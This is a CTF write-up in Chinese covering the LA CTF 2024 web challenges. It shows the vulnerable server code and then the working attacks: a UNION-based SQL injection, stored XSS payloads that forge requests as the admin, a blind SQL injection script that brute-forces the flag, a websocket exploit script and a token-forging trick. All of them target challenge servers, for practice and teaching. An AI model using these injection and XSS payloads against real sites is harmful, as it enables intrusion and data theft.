2024laCTF

2024laCTF

web

terms-and-conditions

删除index.html部分代码即可,配合analytics.js即可获得flag

flaglang

1
2
3
4
5
Flagistan:
iso: FL
msg: "<REDACTED>"
password: "<REDACTED>"
deny:

需要获取Flagistan的msg或者password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app.get('/view', (req, res) => {
if (!req.query.country) {
res.status(400).json({ err: 'please give a country' });
return;
}
if (!countries.has(req.query.country)) {
res.status(400).json({ err: 'please give a valid country' });
return;
}
const country = countryData[req.query.country];
const userISO = req.signedCookies.iso;
if (country.deny.includes(userISO)) {
res.status(400).json({ err: `${req.query.country} has an embargo on your country` });
return;
}
res.status(200).json({ msg: country.msg, iso: country.iso });
});

不满足country.deny.includes(userISO)的时候打印msg,只要使得cookie为空即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /view?country=Flagistan HTTP/1.1
Host: flaglang.chall.lac.tf
Connection: close
sec-ch-ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://flaglang.chall.lac.tf/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 2

la housing portal

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def get_matching_roommates(prefs: dict[str, str]):
if len(prefs) == 0:
return []
query = """
select * from users where {} LIMIT 25;
""".format(
" AND ".join(["{} = '{}'".format(k, v) for k, v in prefs.items()])
)
print(query)
conn = sqlite3.connect('file:data.sqlite?mode=ro', uri=True)
cursor = conn.cursor()
cursor.execute(query)
r = cursor.fetchall()
cursor.close()
return r

对sql进行前后闭合,配合union select即可

1
2
3
guests=asd
&name=a
&''=' union select 1,1,1,flag,1,1 from flag where ''='

new-housing-portal

查询username的时候会将名字打印,存在xss漏洞,伪造请求给自身账号发送邀请即可获得flag

创建自身用户asa

创建xss1用户<img src=1 onerror=alert(1)>

访问https://new-housing-portal.chall.lac.tf/finder/?q=<img src=1 onerror=alert(1)>即可弹窗

替换成恶意的xss,发邀请给asa用户即可

创建最终的xss用户<img src=1 onerror="fetch('https://new-housing-portal.chall.lac.tf/finder',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'username=asa'});">

让admin访问即可

https://new-housing-portal.chall.lac.tf/finder/?q=<img src=1 onerror="fetch('https://new-housing-portal.chall.lac.tf/finder',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'username=MYACCOUNT'});">

pogn

python 安装 websocket-client

exp

1
2
3
4
5
6
7
8
9
10
import websocket

url = "ws://pogn.chall.lac.tf"

ws = websocket.WebSocket()
ws.connect((url+"/ws"))

while True:
print(ws.recv())
ws.send("[1,[[0,0],[0,0]]]")

pogn-login

PostgreSQL: Documentation: 16: 9.7. Pattern Matching

根据文档,写出SIMILAR TO的语句

1
username=' or name SIMILAR TO 'lactf________________________________________

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

base_URL = 'https://penguin.chall.lac.tf/submit'

possible_chars = '0123456789abcedfghijklmnopqrstuvwxyz}'
flag1 = 'lactf{'
flag = 'lactf_'

for _ in range(1, 40):
for char in possible_chars:
forms = {'username': "' or name SIMILAR TO '" + flag + char + "_" * (44 - len(flag))}

req = requests.post(base_URL, data=forms)
if 'No penguins sadg' not in req.text:
flag1 += char
flag += char
break

print(flag1)

jason-web-token

1
2
3
4
5
6
7
8
9
@app.get("/img")
def img(resp: Response, token: str | None = Cookie(default=None)):
userinfo, err = auth.decode_token(token)
if err:
resp.status_code = 400
return {"err": err}
if userinfo["role"] == "admin":
return {"msg": f"Your flag is {flag}", "img": "/static/bplet.png"}
return {"msg": "Enjoy this jason for your web token", "img": "/static/aplet.png"}

需要通过验证

可以控制的点在userinfo["age"]的地方

一种是使得age足够大,一种是使得age为空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import os
import hashlib
import time
import json
secret = int.from_bytes(os.urandom(128), "big")
hash_ = lambda a: hashlib.sha256(a.encode()).hexdigest()

def create_token(userinfo):
userinfo["timestamp"] = int(time.time())
salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
print(salted_secret)
data = json.dumps(userinfo)
return data.encode().hex() + "." + hash_(f"{data}:{salted_secret}")


def decode_token(token):
if not token:
return None, "invalid token: please log in"

datahex, signature = token.split(".")
data = bytes.fromhex(datahex).decode()
userinfo = json.loads(data)
salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
print(salted_secret)

if hash_(f"{data}:{salted_secret}") != signature:
return None, "invalid token: signature did not match data"
return userinfo, None

s = create_token({"role":"admin","age":2e300})
# s = create_token({"role":"admin","age":float('nan')})
userinfo, err = decode_token(s)
if userinfo["role"] == "admin":
print(111)